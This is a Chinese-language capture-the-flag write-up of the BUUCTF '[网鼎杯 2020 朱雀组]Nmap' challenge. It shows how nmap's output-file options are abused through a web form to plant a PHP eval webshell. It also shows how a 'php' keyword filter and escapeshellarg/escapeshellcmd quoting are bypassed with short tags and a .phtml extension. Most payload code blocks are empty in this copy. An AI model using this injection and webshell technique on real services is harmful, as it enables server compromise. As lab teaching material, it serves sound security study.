BUUCTF_WEB_[网鼎杯 2020 朱雀组]Nmap 题解
[网鼎杯 2020 朱雀组]Nmap
1.有题目提示得这是一道考察Nmap执行的题目:
输入框中我们可以输入ip地址或hostname
测试:
1 |
|
响应结果:
2.在kali中测试nmap:
nmap对ip地址的处理
扫描IP地址:
nmap 127.0.0.1:
返回的结果:
1 |
|
而网站中的返回结果为:
两者的返回结果都是TCP协议,然后有Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
**扫描指定IP地址(ping 扫描)**:
返回结果中没有表明是TCP协议
所以一般网站使用TCP返回,都是nmap扫描或nmap -sT 扫描(默认是nmap)
猜测该网址的扫描形式为:nmap “输入的ip地址”
2.nmap扫描漏洞利用:
nmap中可以用于将扫描结果写文件并输出保存在本地的命令:
1 |
|
测试:
nmap 127.0.0.1 -oN test.txt:
发现在当前文件夹中生成了一个test.txt文件
所以我们可以利用输出这个漏洞,将一句话木马写入文件中,利用该输出漏洞将一句话木马文件保存到网页的当前文件夹中,就可以实现注入
测试2:
测试网页是否可以进行输出命令的执行:
payload:
1 |
|
网页成功回显,且返回的结果和测试的结果相似,说明该指令被成功执行,所以我们就可以构造注入payload
3.构造一句话木马:
payload:
1 |
|
响应结果:
发现输入的结果可能被过滤,采用第二个payload试试
payload2:
1 |
|
依然被过滤
4.现在就要一个个进行判断,寻找被过滤的内容:
payload:
1 |
|
存在黑名单内容
payload:
1 |
|
由于该文件不可被识别,所以就无法显示内容
payload:
1 |
|
payload:
1 |
|
所以过滤的内容为php,我们需要绕过php判断
php一句话木马的构造
可以解析php文件的后缀名:
1 |
|
phtml:
1 |
|
输出:
1 |
|
php短标签:
1 |
|
测试:
echo '123';?> :
1 |
|
输出:
1 |
|
等价于 :
1 |
|
输出:
1 |
|
<% echo ‘123’;%> :
1 |
|
输出:
1 |
|
使用短标签绕过php:
1 |
|
测试:
echo @eval($_POST['pass']);?>1 |
|
输出:
:
1 |
|
输出结果:
payload:
1 |
|
绕过
构造写文件输出payload:
1 |
|
发现成功绕过:
访问pass.phtml:
由于当于oG输出的文件都在当前文件夹下所以为:http://bd9c6623-f4d3-4f23-bf75-6978d1a50003.node4.buuoj.cn:81/pass.html
发现当前网站下没有该文件,从之前的[BUUCTF 2018]Online Tool中获取的经验,nmap可能和escapeshellarg()与escapeshellcmd()配合使用,需要绕过这两个函数:使用空格和单引号,为了防止’pass’的单引号也被这两个函数过滤,我们这里使用”pass”:
payload:
1 |
|
访问pass.phtml:http://bd9c6623-f4d3-4f23-bf75-6978d1a50003.node4.buuoj.cn:81/pass.phtml
使用webshell测试:
payload:
1 |
|
发现一个flag文件:
payload:
1 |
|
返回结果:
1 |
|
flag=flag{544d334f-80b2-44f8-a3b1-c8b312b0b484}